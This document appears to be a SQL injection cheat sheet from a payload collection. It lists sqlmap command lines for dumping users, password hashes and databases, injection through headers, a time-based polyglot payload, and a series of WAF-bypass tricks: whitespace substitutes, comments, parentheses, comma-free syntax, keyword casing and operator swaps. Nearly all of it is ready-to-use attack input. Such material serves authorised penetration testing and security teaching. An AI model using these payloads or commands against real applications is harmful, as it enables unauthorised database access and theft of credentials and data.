# SQL injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
## Entry point detection
Detection of an SQL injection entry point
```

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```
## SQL injection using SQLmap
Basic arguments for SQLmap
```
sqlmap --url="<url>" -p username --user-agent=SQLMAP --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```
Custom injection in UserAgent/Header/Referer/Cookie
```
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

## Polyglot injection (multicontext)
```
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## WAF Bypass
No Space (%20) - bypass using whitespace alternatives
```
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - bypass using comments
```
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - bypass using parenthesis
```
?id=(1)and(1)=(1)--
```
No Comma - bypass using OFFSET, FROM and JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
Blacklist using keywords - bypass using uppercase/lowercase
```
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist using keywords case insensitive - bypass using an equivalent operator
```
AND -> &&
OR -> ||
= -> LIKE,REGEXP, not < and not >
> X -> not between 0 and X
WHERE -> HAVING
```
